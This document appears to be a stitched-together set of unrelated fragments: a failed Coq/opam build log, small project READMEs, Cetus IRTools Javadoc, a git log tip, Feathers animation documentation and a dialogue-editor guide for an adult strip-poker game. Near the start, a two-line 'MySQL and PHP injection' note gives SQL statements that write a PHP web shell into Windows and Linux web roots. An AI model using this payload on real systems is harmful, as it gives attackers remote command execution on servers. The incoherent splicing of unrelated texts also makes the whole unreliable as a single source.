deprecated since 8.12. use List.cons instead - [deprecated-syntactic-definition,deprecated] - File "./theories/Rcomplements.v", line 1657, characters 34-44: - Warning: Notation RList.cons is deprecated since 8.12. use List.cons instead - [deprecated-syntactic-definition,deprecated] - File "./theories/Rcomplements.v", line 1658, characters 21-31: - Warning: Notation RList.cons is deprecated since 8.12. use List.cons instead - [deprecated-syntactic-definition,deprecated] - File "./theories/Rcomplements.v", line 1658, characters 36-46: - Warning: Notation RList.cons is deprecated since 8.12. use List.cons instead - [deprecated-syntactic-definition,deprecated] - File "./theories/Rcomplements.v", line 1666, characters 35-45: - Warning: Notation RList.cons is deprecated since 8.12. use List.cons instead - [deprecated-syntactic-definition,deprecated] - File "./theories/Rcomplements.v", line 1666, characters 49-59: - Warning: Notation RList.cons is deprecated since 8.12. use List.cons instead - [deprecated-syntactic-definition,deprecated] - Finished theories/Rcomplements.vo - File "./theories/Rbar.v", line 49, characters 0-27: - Warning: - New coercion path [real; Finite] : Rbar >-> Rbar is not definitionally an identity function. - [ambiguous-paths,typechecker] - File "./theories/Iter.v", line 187, characters 12-20: - Error: The reference iota_add was not found in the current environment. - - Finished theories/Markov.vo - Failed to build theories/Iter.vo - Failed to build theories/Derive.vo - Failed to build theories/Hierarchy.vo - Failed to build theories/Coquelicot.vo - Failed to build theories/RInt_gen.vo - Failed to build theories/Series.vo - Failed to build theories/KHInt.vo - Failed to build theories/SF_seq.vo - Failed to build theories/Seq_fct.vo - Failed to build theories/RInt.vo - Failed to build theories/PSeries.vo - Failed to build theories/ElemFct.vo - Failed to build theories/RInt_analysis.vo - Failed to build theories/Equiv.vo - Failed to build theories/Lim_seq.vo - Failed to build theories/Continuity.vo - Failed to build theories/Derive_2d.vo - Failed to build theories/AutoDerive.vo - Failed to build theories/Complex.vo - Failed to build all - Finished theories/Compactness.vo - Finished theories/Rbar.vo - File "./theories/Lub.v", line 24, characters 0-40: - Warning: - New coercion path [real; Finite] : Rbar >-> Rbar is not definitionally an identity function. - [ambiguous-paths,typechecker] - Finished theories/Lub.vo [ERROR] The compilation of coq-coquelicot failed at "/home/bench/.opam/opam-init/hooks/sandbox.sh build ./remake -j4". #=== ERROR while compiling coq-coquelicot.3.2.0 ===============================# # context 2.0.10 | linux/x86_64 | ocaml-base-compiler.4.14.0 | file:///home/bench/run/opam-coq-archive/released # path ~/.opam/ocaml-base-compiler.4.14.0/.opam-switch/build/coq-coquelicot.3.2.0 # command ~/.opam/opam-init/hooks/sandbox.sh build ./remake -j4 # exit-code 1 # env-file ~/.opam/log/coq-coquelicot-29069-2dea01.env # output-file ~/.opam/log/coq-coquelicot-29069-2dea01.out ### output ### # [...] # Failed to build theories/Continuity.vo # Failed to build theories/Derive_2d.vo # Failed to build theories/AutoDerive.vo # Failed to build theories/Complex.vo # Failed to build all # Finished theories/Compactness.vo # Finished theories/Rbar.vo # File "./theories/Lub.v", line 24, characters 0-40: # Warning: # New coercion path [real; Finite] : Rbar >-> Rbar is not definitionally an identity function. # [ambiguous-paths,typechecker] # Finished theories/Lub.vo <><> Error report <><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><> +- The following actions failed | - build coq-coquelicot 3.2.0 +- - No changes have been performed # Run eval $(opam env) to update the current shell environment 'opam install -y -v coq-coquelicot.3.2.0 coq.8.15.1' failed.
No files were installed.
true


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MySQL and PHP injection
SELECT "<?php system($_GET['cmd']); ?>" into outfile "C:\\xampp\\htdocs\\shell.php"
SELECT "<?php system($_GET['cmd']); ?>" into outfile "/var/www/html/shell.php"


Salmon Cookies
The only salmon shaped cookie made from salmon.
Locations
Pike Place Market
SeaTac Airport
Southcenter
Bellevue Square
Alki


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BotMan Widget Demo
This is a demonstration of the BotMan chat widget. It uses the BotMan commands from here.
You can also say things programatically. Or if you're more of a sneaky-type, you can also whisper 🤫.
It is also highly configurable.
This is a demonstration of the BotMan chat widget. It uses the BotMan commands from here.
You can also say things programatically. Or if you're more of a sneaky-type, you can also whisper 🤫.
It is also highly configurable.


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node-fast-functionals
Super quick collection processing with functional programming.
Goal
Processing data with Array
's map
reduce
filter
and other high order functions is really handy, but super slow! This project aims at optimising that by introducing a hack - it injects your function bodies into a procedural loop and runs eval
on it.
Installation
Node >=8.9.0
is required.
npm install --save fast-functionals
To perform tests use:
cd node_modules/fast-functionals
npm i
npm t
This project also has a benchmark that you can run yourself:
cd node_modules/fast-functionals
npm i
npm run benchmark
Usage
Beware this project is still in development. There may be serious bugs or performance issues over time.
const ProceduralLambda = require('fast-functionals');
const external_var = 1;
const my_pipeline = new ProceduralLambda()
// BEWARE the argument names must be v, i, s!
// The letters stand for: value, index, self
.filter((v,i,s) => v % 2)
// You can omit unused arguments
// Not using indices is actually faster
.map(v => v+1)
// You CANOT reference other variables in pure lambda functions!
// Only globals and lambda arguments can be safely accessed within the body.
// This line would throw a runtime exception:
// .map(v => v+external_var)
// But this line is fine:
// .map(v => Math.floor(v))
// If you need any more functionality you need to use the complex method
// that doesn't inject function body into procedural code.
.mapComplex(function(v){
return v+external_var; // Do whatever you want here
})
// Reducing has a signature of accum, v, i ,s
// Accum stands for: accumulator
.reduce((accum,v) => accum+v, 0);
const my_data = [1, 2, 3, 4, 5];
console.log(`Result is: ${my_pipeline.execute(my_data)}`);
// High order functions are immutable
const base_pipeline = new ProceduralLambda()
.map(v => v+1);
const pipeline1 = base_pipeline.filter(v => v % 2 !== 0);
const pipeline2 = base_pipeline.filter(v => v % 2 === 0);
// base_pipeline, pipeline1 and pipeline2 are different objects now!
Benchmarks
Below is a benchmark of a simple map, filter, reduce chain using native Arrays (raw
), using the awesome list library, using this library's complex methods (lambda-using-complex
), using lambdas with indice arguments for reduce (lambda-with-indices
), using lambdas with only values (lambda
).
raw x 2,321,126 ops/sec ±0.57% (96 runs sampled)
list x 1,654,198 ops/sec ±1.16% (90 runs sampled)
lambda-using-complex x 2,248,725 ops/sec ±0.98% (93 runs sampled)
lambda-with-indices x 2,957,437 ops/sec ±0.33% (94 runs sampled)
lambda x 3,213,692 ops/sec ±0.63% (90 runs sampled)
Fastest execution for N=10 is lambda
raw x 238,413 ops/sec ±0.20% (92 runs sampled)
list x 415,290 ops/sec ±1.95% (91 runs sampled)
lambda-using-complex x 586,469 ops/sec ±0.76% (90 runs sampled)
lambda-with-indices x 1,188,276 ops/sec ±0.84% (93 runs sampled)
lambda x 1,488,025 ops/sec ±0.26% (93 runs sampled)
Fastest execution for N=100 is lambda
raw x 24,171 ops/sec ±0.64% (93 runs sampled)
list x 47,571 ops/sec ±0.88% (93 runs sampled)
lambda-using-complex x 70,660 ops/sec ±0.52% (95 runs sampled)
lambda-with-indices x 174,379 ops/sec ±0.23% (93 runs sampled)
lambda x 219,467 ops/sec ±0.44% (94 runs sampled)
Fastest execution for N=1000 is lambda
raw x 2,357 ops/sec ±0.67% (95 runs sampled)
list x 4,637 ops/sec ±0.76% (96 runs sampled)
lambda-using-complex x 6,538 ops/sec ±1.33% (96 runs sampled)
lambda-with-indices x 16,682 ops/sec ±1.81% (90 runs sampled)
lambda x 22,277 ops/sec ±0.57% (86 runs sampled)
Fastest execution for N=10000 is lambda
raw x 63.39 ops/sec ±1.26% (65 runs sampled)
list x 90.23 ops/sec ±2.00% (67 runs sampled)
lambda-using-complex x 517 ops/sec ±1.76% (82 runs sampled)
lambda-with-indices x 950 ops/sec ±1.71% (79 runs sampled)
lambda x 1,115 ops/sec ±1.74% (80 runs sampled)
Fastest execution for N=100000 is lambda
raw x 6.13 ops/sec ±1.39% (20 runs sampled)
list x 8.71 ops/sec ±3.84% (24 runs sampled)
lambda-using-complex x 45.51 ops/sec ±5.20% (51 runs sampled)
lambda-with-indices x 83.88 ops/sec ±4.27% (62 runs sampled)
lambda x 88.34 ops/sec ±4.48% (58 runs sampled)
Fastest execution for N=1000000 is lambda,lambda-with-indices
raw x 0.60 ops/sec ±1.33% (6 runs sampled)
list x 0.74 ops/sec ±1.54% (6 runs sampled)
lambda-using-complex x 4.88 ops/sec ±8.00% (17 runs sampled)
lambda-with-indices x 7.17 ops/sec ±9.62% (22 runs sampled)
lambda x 8.28 ops/sec ±10.23% (25 runs sampled)
Fastest execution for N=10000000 is lambda
Contributing
The source is documented with JSDoc. To generate the documentation use:
npm run docs
Extra debugging information is printed using the debug
module:
DEBUG=fast-functionals:* npm t
The documentation will be put in the new docs
directory.
To introduce an improvement please fork this project, commit changes in a new branch to your fork and add a pull request on this repository pointing at your fork. Please follow these style recommendations when working on the code:
- Use tabs (yup).
- Use
async
/await
and/orPromise
where possible. - Features must be properly tested.
- New methods must be properly documented with
jscode
style comments.


5 IN 1 CALCULATOR
Hello ! and welcome to this 5 in 1 calculator which provides the facility to calculate:
- Sum of two numbers
- Average of three numbers
- Area and Perimeter of a circle
- Volume, LSA and TSA of a cube
- Simple Interest and Amount
Hope it helps you !!
Thankyou !!


Menu
Disclaimer
This project was created independent of the UConn Arboretum Committee. All information provided as part of this site is based on research of the individual author ("Josh Stanavage") and does not represent the UConn Arboretum Committee in any capacity beyond data sourced from the UConn Arboretum database or the Tree Walk brochure. Further attribution for each tree can be found in the provided works cited.
Submitted as partial fulfillment of the requirements for the degree of Bachelor of Fine Arts in Digital Media & Design at the University of Connecticut [Storrs], Connecticut.
Senior Project Advisor: Brian Daley
Josh Stanavage
Copyright © 2021 Josh Stanavage


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| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | ||||||||
| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |
java.lang.Object cetus.hir.IRTools
public final class IRTools
IRTools provides tools that perform search/replace in the IR tree.
| Method Summary | ||
|---|---|---|
static boolean |
checkConsistency(Traversable t)
Checks the consistency of the IR subtree rooted at t . |
|
static
|
collectPragmas(Traversable t,
java.lang.Class<T> pragma_cls,
java.lang.String key)
Returns a list of pragma annotations that contain the specified string keys and are attached to annotatable objects within the traversable object t . |
|
static boolean |
containsBinary(Traversable t,
BinaryOperator op)
Checks if the traversable object contains the specified type of binary operations. |
|
static boolean |
containsClass(Traversable t,
java.lang.Class type)
Checks if the traversable object contains the specified type of object. |
|
static boolean |
containsClasses(Traversable t,
java.util.Set<java.lang.Class> types)
Checks if the traversable object contains the specified types of object. |
|
static boolean |
containsExpression(Traversable t,
Expression e)
Searches the IR tree beginning at t for the Expression e . |
|
static boolean |
containsExpressions(Traversable t,
java.util.Collection<? extends Expression> es)
Searches the IR tree beginning at t for any expressions in the
given collection of expressions. |
|
static boolean |
containsFunctionCall(Traversable t)
Returns true if there is a FunctionCall within the traversable. |
|
static boolean |
containsSideEffect(Traversable t)
Returns true if the traversable contains any side effects that change the program state. |
|
static boolean |
containsSymbol(Traversable t,
Symbol var)
Checks if the specified traversable object contains any identifier derived from the given symbol var . |
|
static boolean |
containsSymbols(java.util.Set<Symbol> vars,
java.util.Set<Symbol> symbols)
Simple check method for existence of intersection between the two given sets of symbols. |
|
static boolean |
containsSymbols(Traversable t,
java.util.Set<Symbol> vars)
Checks if the specified traversable object contains any identifier derived from the given set of symbols vars . |
|
static boolean |
containsUnary(Traversable t,
UnaryOperator op)
Checks if the traversable object contains the specified type of unary operations. |
|
static int |
countExpressions(Traversable t,
Expression e)
Counts the number of times that the Expression e appears in
the IR tree t . |
|
static Expression |
findExpression(Traversable t,
Expression e)
Finds the first instance of the Expression e in the IR tree
t . |
|
static java.util.List<Expression> |
findExpressions(Traversable t,
Expression e)
Finds the list of instances of the Expression e in the IR tree
t . |
|
static
|
getAncestorOfType(Traversable t,
java.lang.Class<T> type)
Returns the nearest ancestor object of the given traversable object that has the specified type. |
|
static
|
getDescendentsOfType(Traversable t,
java.lang.Class<T> type)
Returns a list of descendents of the traversable object t with the
specified type type . |
|
static
|
getExpressionsOfType(Traversable t,
java.lang.Class<? extends Expression> type)
Returns a list of expressions having the specified type in the given traversable object. |
|
static Statement |
getFirstNonDeclarationStatement(Traversable t)
Returns the first non-DeclarationStatement of the given traverable object. |
|
static java.util.List<FunctionCall> |
getFunctionCalls(Traversable t)
Returns a list of FunctionCall expressions within the traversable object. |
|
static Declaration |
getLastDeclaration(Traversable t)
Returns the last declaration that belongs to the given traverable object. |
|
static DeclarationStatement |
getLastDeclarationStatement(Traversable t)
Returns the last declaration statement that belongs to the given traverable object. |
|
static java.util.List<Statement> |
getLastStatements(Procedure proc)
Returns a list of the last Statements to be evaluated in the Procedure. |
|
static Procedure |
getParentProcedure(Traversable t)
Returns the Procedure to which the input traversable object belongs. |
|
static TranslationUnit |
getParentTranslationUnit(Traversable t)
Returns the TranslationUnit to which the input traversable object belongs. |
|
static java.util.List<Procedure> |
getProcedureList(Program program)
Return a list of Procedures in a program. |
|
static
|
getStatementsOfType(Traversable t,
java.lang.Class<? extends Statement> type)
Returns a list of statements having the specified type in the given traversable object. |
|
static java.util.List<UnaryExpression> |
getUnaryExpression(Traversable t,
UnaryOperator op)
Returns a list of unary expressions with the given unary operator. |
|
static boolean |
isAncestorOf(Traversable anc,
Traversable des)
Checks if the specified traversable object anc is an ancestor of
the other traversable object des in the IR tree. |
|
static boolean |
isDescendantOf(Traversable des,
Traversable anc)
Checks if the specified traversable object des is a descendant of
the other traversable object anc in the IR tree. |
|
static boolean |
isIncluded(Traversable t)
Checks if the specified traversable object is located within an included code section. |
|
static void |
removeAnnotations(Traversable t,
java.lang.Class<? extends Annotation> type)
Removes all annotations with the specified type from the given traversable object. |
|
static void |
replaceAll(Traversable t,
Expression x,
Expression y)
Replaces all instances of expression x on the IR tree beneath t by clones of expression y. |
|
static Expression |
replaceSymbol(Expression e,
Symbol var,
Expression expr)
Replaces all occurrences of the specified variable var with the
given expression expr in the input expression e . |
|
static void |
replaceSymbolIn(Traversable t,
Symbol var,
Expression e)
Replaces all occurrences of the specified variable var with the
given expression e in the traversable object t in place. |
| Methods inherited from class java.lang.Object |
|---|
clone, equals, finalize, getClass, hashCode, notify, notifyAll, toString, wait, wait, wait |
| Method Detail |
|---|
public static boolean containsExpression(Traversable t, Expression e)
t
for the Expression e
.
t
- the traversable object to be searched.e
- the expression to be searched for.
t
contains e
and false otherwise.public static boolean containsExpressions(Traversable t, java.util.Collection<? extends Expression> es)
t
for any expressions in the
given collection of expressions.
t
- the traversable object to be searched.es
- the collection of expressions to be searched for.
t
contains an expression in the collection
es
.public static int countExpressions(Traversable t, Expression e)
e
appears in
the IR tree t
.
t
- the traversable object to be searched.e
- the expression to be counted.
e
appears in t
.public static Expression findExpression(Traversable t, Expression e)
e
in the IR tree
t
.
t
- the traversable object to be searched.e
- the expression to be searched for.
t
that is equal to e
.public static java.util.List<Expression> findExpressions(Traversable t, Expression e)
e
in the IR tree
t
.
t
- the traversable object to be searched.e
- the expression to be searched for.
public static boolean checkConsistency(Traversable t)
t
.
It checks if every children of a parent node has a correct back link to
the parent node.
t
- the traversable object to be checked.
public static void replaceAll(Traversable t, Expression x, Expression y)
t
- The location at which to start the search.x
- The expression to be replaced.y
- The expression to substitute.public static Procedure getParentProcedure(Traversable t)
t
- the traversable object to be searched from.
t
.public static TranslationUnit getParentTranslationUnit(Traversable t)
t
- the traversable object to be searched from.
t
.public static Declaration getLastDeclaration(Traversable t)
t
- the traversable object to be searched.
public static DeclarationStatement getLastDeclarationStatement(Traversable t)
t
- the traversable object to be searched.
public static Statement getFirstNonDeclarationStatement(Traversable t)
t
- the traversable object to be searched.
public static Expression replaceSymbol(Expression e, Symbol var, Expression expr)
var
with the
given expression expr
in the input expression e
. If the
traversable object is the specified variable it returns a copy of the
expression expr
.
e
- the input expression.var
- the variable to be replaced.expr
- the expression to be substituted.
public static void replaceSymbolIn(Traversable t, Symbol var, Expression e)
var
with the
given expression e
in the traversable object t
in place.
t
- the traversable object to be modified.var
- the variable to be replaced.e
- the expression to be substituted.public static boolean containsSymbol(Traversable t, Symbol var)
var
. This method only searches for
the derived identifier not the symbol itself.
t
- the traversable object to be searched.var
- the symbol to be searched for.
var
, false
otherwise.public static boolean containsSymbols(Traversable t, java.util.Set<Symbol> vars)
vars
. This method only
searches for the derived identifier not the symbol itself.
t
- the traversable object to be searched.vars
- the set of symbols to be searched for.
vars
, false otherwise.public static boolean containsSymbols(java.util.Set<Symbol> vars, java.util.Set<Symbol> symbols)
vars
- the first set of symbols.symbols
- the second set of symbols.
public static boolean containsClass(Traversable t, java.lang.Class type)
t
- the traversable object to be searched.type
- the class to be searched for.
t
contains the type type
.public static boolean containsClasses(Traversable t, java.util.Set<java.lang.Class> types)
t
- the traversable object to be searched.types
- the classes to be searched for.
t
contains any of the set types
.public static boolean containsBinary(Traversable t, BinaryOperator op)
t
- The traversable object being searchedop
- The binary operator being searched for
public static boolean containsUnary(Traversable t, UnaryOperator op)
t
- The traversable object being searchedop
- The unary operator being searched for
public static java.util.List<UnaryExpression> getUnaryExpression(Traversable t, UnaryOperator op)
t
- the traversable object being searched.op
- the unary operator being searched for.
public static boolean containsSideEffect(Traversable t)
t
- The traversable object being searched
public static <T> T getAncestorOfType(Traversable t, java.lang.Class<T> type)
t
- the traversable object to be searched from.type
- the IR type being searched for.
t
having the type type
.public static <T> java.util.List<T> getDescendentsOfType(Traversable t, java.lang.Class<T> type)
t
with the
specified type type
.
t
- the traversable object to be searched.type
- the IR type to be searched for.
type
.public static boolean isAncestorOf(Traversable anc, Traversable des)
anc
is an ancestor of
the other traversable object des
in the IR tree.
anc
- a possible ancestor of des
.des
- a possible descendant of anc
.
anc
is an ancestor of des
, false otherwise.public static boolean isDescendantOf(Traversable des, Traversable anc)
des
is a descendant of
the other traversable object anc
in the IR tree.
des
- a possible descendant of anc
.anc
- a possible ancestor of des
.
des
is a descendant of anc
, false otherwise.public static boolean containsFunctionCall(Traversable t)
t
- traversable object to be searched.
t
contains a function call.public static java.util.List<FunctionCall> getFunctionCalls(Traversable t)
t
- the traversable object to be searched.
t
.public static <T extends PragmaAnnotation> java.util.List<T> collectPragmas(Traversable t, java.lang.Class<T> pragma_cls, java.lang.String key)
t
. For example, it can collect list of OpenMP pragmas having
a work-sharing directive for
within a specific procedure.
t
- the traversable object to be searched.pragma_cls
- the type of pragmas to be searched for.key
- the keyword to be searched for.
public static java.util.List<Statement> getLastStatements(Procedure proc)
public static <T extends Statement> java.util.List<T> getStatementsOfType(Traversable t, java.lang.Class<? extends Statement> type)
t
- the traversable object to be examined.type
- the type of statements to be collected.
type
.public static <T extends Expression> java.util.List<T> getExpressionsOfType(Traversable t, java.lang.Class<? extends Expression> type)
t
- the traversable object to be examined.type
- the type of expressions to be collected.
type
.public static java.util.List<Procedure> getProcedureList(Program program)
public static void removeAnnotations(Traversable t, java.lang.Class<? extends Annotation> type)
t
- the traversable object to be searched.type
- the annotation types to be removed.public static boolean isIncluded(Traversable t)
t
- the traversable object to be examined.
t
is part of the IR tree and within an included
code section.
|
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| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | ||||||||
| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |


Back to Git this week, in particular making Git beautiful! You may know there's a git log
command for showing the history of your Git activity. It's helpful but not very concise or skimmable. Fortunately, there are a few options that transform the command's output.
Let's cut to the chase — this is a far better way to use git log
:
git log --graph --oneline --decorate --all
As you can probably tell, it will show a basic graph of Git activity with summaries reduced to one line. It decorates the view with branch names and makes sure that all activity is included. Give it a try in any Git repository to see the effect.
And of course, because it's quite a long command you could save time by making an alias for it such as gitgraph
, as we discussed previously.


Effects and animations for Feathers components
A Feathers component supports playing animations triggered by certain moments in its lifecycle, such as adding it to the display list, changing its size or position, or even changing its data. These are called effects. A number of built-in effects are available to quickly add a bit of life to your project.
Let's start by looking at a quick example of how to use an effect:
component.addedEffect = Fade.createFadeInEffect();
In the example above, we're using one of the built-in effects on the feathers.motion.Fade
class. When the component is added to the stage, the addedEffect
will play, and the component's alpha
value will fade in from 0.0
to 1.0
.
Now, let's explore all of the built-in effects. Components support custom effects too, and we'll look at that later.
Fade
The Fade
effect animates the opacity of the target component. Several different types of fade effects are available for maximum flexibility.
Fade in
The component may fade in, animating the alpha
property from 0.0
to 1.0
.
Fade.createFadeInEffect();
Fade out
Alternatively, the component may fade out, animating the alpha
property from 1.0
to 0.0
.
Fade.createFadeOutEffect();
Fade to
A third option is to fade to a specific alpha
value starting from the component's current alpha
value.
Fade.createFadeToEffect(0.5);
Fade from
Similarly, we can start from a custom alpha
value and fade to the component's current alpha
value.
Fade.createFadeFromEffect(0.0);
Fade between
The final option is to fade between a custom starting alpha
value and a custom ending alpha
value.
Fade.createFadeBetweenEffect(1.0, 0.5);
Iris
The Iris
effect adds a circular mask to the target component, and animates its radius to either reveal or hide the component.
Iris.createIrisOpenEffect();
Iris.createIrisCloseEffect();
Move
The Move
effect animates the x
and y
position of the target component.
Move to
You may animate the component to a new position, starting from its current position:
Move.createMoveToEffect();
Move.createMoveXToEffect();
Move.createMoveYToEffect();
Move from
You may animate the component from a specific position to its current position:
Move.createMoveFromEffect();
Move.createMoveXFromEffect();
Move.createMoveYFromEffect();
Move by
You may animate the component's position by a specific offset, starting from its current position:
Move.createMoveByffect();
Move.createMoveXByEffect();
Move.createMoveYByEffect();
Move on x
or y
property change
To animate a component's size any time that the x
or y
setters are called, pass the result of Move.createMoveEffect()
to the moveEffect
property:
component.moveEffect = Move.createMoveEffect();
Parallel
A Parallel
effect can play multiple effects simulataeously, ending when all of them have completed.
Parallel.createParallelEffect(
Fade.createFadeInEffect(),
Iris.createIrisOpenEffect()
);
Resize
The Resize
effect animates the width
and height
values of the target component.
Resize to
You may animate the component's size to new dimensions, starting from its current dimensions:
Resize.createResizeToEffect();
Resize.createResizeWidthToEffect();
Resize.createResizeHeightToEffect();
Resize from
You may animate the component's size from custom dimensions to its current dimensions:
Resize.createResizeFromEffect();
Resize.createResizeWidthFromEffect();
Resize.createResizeHeightFromEffect();
Resize by
You may animate the component's size by a specific offset, starting from its current dimensions:
Resize.createResizeByEffect();
Resize.createResizeWidthByEffect();
Resize.createResizeHeightByEffect();
Resize on width
or height
property change
To animate a component's size any time that the width
or height
setters are called, pass the result of Resize.createResizeEffect()
to the resizeEffect
property:
component.resizeEffect = Resize.createResizeEffect();
Sequence
A Sequence
effect plays multiple effects one at a time, moving on to the next as each one completes.
Sequence.createSequenceEffect(
Fade.createFadeInEffect(),
Move.createMoveToEffect(100, 50)
);
Wipe
With a Wipe
effect, the target component is given a rectangular mask that is resized over time. The mask may be resized in one of four directions: up, down, right, or left.
A wipe in effect can show the target component:
Wipe.createWipeInLeftEffect();
Wipe.createWipeInRightEffect();
Wipe.createWipeInUpEffect();
Wipe.createWipeInDownEffect();
A wipe out effect can hide the target component:
Wipe.createWipeOutLeftEffect();
Wipe.createWipeOutRightEffect();
Wipe.createWipeOutUpEffect();
Wipe.createWipeOutDownEffect();
Custom effects
Effect properties on Feathers components are simply typed as Function
. Let's start by taking a look at the required function signature:
function( target:DisplayObject ):IEffectContext
An effect function should accept a single argument, the target of the effect. It should return an implementation of feathers.motion.effectClasses.IEffectContext
. The component uses this context to start, pause, and stop the effect, as needed. Typically, you'll want to animate something using starling.animation.Tween
, so the return value is often an instance of feathers.motion.effectClasses.TweenEffectContext
. Let's take a look at an example that uses Tween
and TweenEffectContext
to create our first custom effect.
A custom transition using starling.animation.Tween
Let's create a custom effect that's a simplified version of the built-in Fade.createFadeInEffect()
. The target component's alpha
property will fade in from 0.0
to 1.0
.
Let's start with a simple function that sets the initial conditions before the animation starts:
function( target:DisplayObject ):IEffectContext
{
target.alpha = 0.0;
//more code will go here
}
The target component will start completely hidden, so we should set its alpha
property to 0.0
.
Next, we'll create a Tween
that animates the alpha
property on the target component:
var tween:Tween = new Tween( target, 1.0, Transitions.EASE_OUT );
tween.animate( "alpha", 1.0 );
As you can see, we animate the alpha
property for a duration of one second, and we specify an easing function.
Finally, we need to pass our Tween
instance to a TweenEffectContext
to return from our function.
return new TweenEffectContext(target, tween);
That's it! When this effect is triggered, the component's alpha property will fade in.
Full custom transition source code
function( target:DisplayObject ):IEffectContext
{
target.alpha = 0.0;
var tween:Tween = new Tween( target, 1.0, Transitions.EASE_OUT );
tween.fadeTo( 1.0 );
return new TweenEffectContext(target, tween);
}


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Overview
This screen is where you'll spend the bulk of your time in the editor, as well-written dialogue with a lot of variation is the key to a successful character.Before making dialogue, you need to be familiar with how the game decides what to display.
Each round of Poker consists of multiple phases of dialogue:
- Characters are dealt their hand and trade out cards. This is the Swapping Cards phase.
- Characters react to their hands. This is the Hand (Good, Okay, Bad, Any) phase.
- The character with the worst hand loses. This is the Must Strip phase.
- The loser starts to strip, or if they have lost all their clothing, starts to masturbate. This is the Stripping phase.
- The loser finishes stripping. This is the Stripped phase.
- Another round begins, repeating the same phases.
There are a few other phases that appear at certain points (ex. starting the game or reacting to someone climaxing), but the above is the main game loop.
Choosing Dialogue
For each phase, one line of dialogue is chosen to play for each character. Every line of dialogue has a corresponding image that is displayed with it.
To decide which dialogue line to use, for each character the game performs the following steps:
- It filters out only those cases that are applicable to the current game phase. A case is a group of dialogue lines corresponding to a particular phase.
- Of these cases, it then throws out any cases that do not apply to the character's current stage of undress. A single cases can apply to multiple stages.
- Of the remaining cases, it then looks at any conditions attached to those cases, and filters them out if their conditions don't apply. For instance, a case may have a condition to only play if 3 males are present.
- Finally, for any cases that still remain for selection, the case with the highest priority has a line chosen at random to play.
This is a tad oversimplified, but the full details are not important for most dialogue.
Dialogue Priority
Briefly mentioned above is the concept of case priority. All cases have an internal priority to determine which case will play if all conditions are satisfied and multiple cases remain. Priority works as follows:- If a case has conditions and those conditions are met, the case will always take priority over a case with no conditions.
- If multiple cases have conditions, they will be given specific priorities based on their conditions. For example, a case with a target and target stage will always take priority over a case with just a target. The editor will sort cases in the order of their priority, and display that priority in the list.
The case with the highest priority will then have a random line chosen. If multiple cases have the same priority, the lines from each of these cases will be combined into a single pool and a line will be chosen from that pool at random.
- A. Must Strip - Female
- B. Hand (Good)
- C. Hand (Good) when Fully Dressed
- D. Hand (Good) when hand = Two Pair, custom priority 0
- E. Hand (Good) when hand = Royal Flush
- F. Hand (Bad)
- G. Hand (Any)
The game is at the hand reaction phase. The character has lost a few times and is currently in their Lost Shirt stage. Their hand a Royal Flush. Dialogue is picked as follows:
- Cases not applicable to the current phase are thrown out, so case A is discarded.
- Additionally, the character has a Royal Flush, which is not a Bad Hand, so case F is discarded.
- The character is not Fully Dressed, so case C is discarded.
- The character does not have a Two Pair, so case D is discarded.
- Of the remaining lines, case E has the highest priority, so B and F are discarded.
- Case E is all that remains, so one of its lines will play.
Consider the same game state except the character now has a Two Pair instead of a Royal Flush
- Cases not applicable to the current phase are thrown out, so case A is discarded.
- Additionally, the character has a Royal Flush, which is not a Bad Hand, so case F is discarded.
- The character is not Fully Dressed, so case C is discarded.
- The character does not have a Royal Flush, so case E is discarded.
- Cases with no conditions (of those remaining: B and G) have a priority of 0. Case D has a condition so its priority would normally be over 0, but for this character a custom override of 0 was given to it.
- Cases B, D, and G therefore all have the same priority, so their lines will be pooled together and one chosen at random.
Legend
The Dialogue Tab of the Character Editor is divided into three main components. Refer to their sections for more details.1. Dialogue Tree
The dialogue tree groups cases by either stage or by case type. This is the area where you can add, remove, or copy entire cases. When you select a case, the Case Editor will populated with that case's information.
- Add: Adds a new case of the same type as the currently selected case, and add it to the currently selected case's stage. Alternatively, clicking the dropdown arrow brings up a list of case types for which you can add the type of your choice.
- Add Recipe: The flask brings up a recipe selection, which creates a case with a predefined list of conditions to match a certain game state (eg. conditions to be able to react to the first character having to get naked).
- Copy Tools: Various options for copying or splitting a case among stages, including:
- Separate This Stage Into a New Case
Example: Using this option on a case in stage 3 that applies to stages 1-4 will create two cases with duplicate lines, one that applies to stage 3 and one that applies to stages 1,2, and 4.
Use case: The editor's placeholder lines by default apply to all stages. For a case like Stripping, dialogue will more than likely be unique between stages, so they shouldn't share the same case. This option will let split out the current stage instead of having to manually uncheck all the other stages.
- Separate This And Later Stages Into a New Case
Example: Using this option on a case in stage 3 that applies to stages 1-5 will create two cases with duplicate lines, one that that applies to stages 1-2 and one that applies to stages 3-5.
Use case: You initially have dialogue shared across all stages, but decide that after the character reaches their underwear, you want to use a new set of shared dialogue going forward.
- Split this Case Into Individual Stages
Example: Using this option on a case that appies to stages 1-5 will create 5 duplicate cases, one for stage 1, one for stage 2, etc. up to stage 5.
Use case: You have dialogue shared across all stages, but decide that each stage should really be unique.
Whenever you save, cases across stages that have duplicate dialogue will be combined, so if you don't edit each stage's case, the unmodified cases will be combined again. - Duplicate This Case
Example: This duplicates a case in its entirety: stages applied to, conditions, and dialogue
Use case: You have a case with 4 lines. You also want some targeted dialogue, but you want the 4 generic lines to also be used even when the target conditions are met. You can duplicate the generic case, add your conditions to the duplicate, and then add your fifth line to the original 4. Note that these lines will not be shared between the generic and targeted cases, so editing one will not update the other.
- Bulk Replace Tool
Example: This copies all generic cases of a particular type across all stages, and applies their dialogue to one or more other case types.
Use case: There are case types for both Must Strip (Male) and Must Strip (Player, Male), but you don't want to bother making separate dialogue for such similar cases. Instead of manually copying each case for Must Strip (Male) to Must Strip (Player, Male), you can fill out all cases for Must Strip (Male) and then use the Bulk Replace Tool to update the Must Strip (Player, Male) to use the same lines. Note that these lines are duplicated, and will not actually shared across case types.
- Separate This Stage Into a New Case
- Remove: Removes the selected case from all applicable stages.
If you delete the case from stage 3, but it applies to stages 1-3, the cases in stage 1 and 2 will also be deleted.Whenever you save, the editor makes sure you have the bare minimum of dialogue. So if you remove a generic case from stage 2, leaving no other generic case for stage 2, the editor will regenerate a placeholder case in stage 2.
- Filters
Various filters can be applied to the tree to narrow its focus. This does not delete filtered cases. They just won't display.
- Filter: Allows you to filter the tree to show all cases, only targeted cases, or only generic cases.
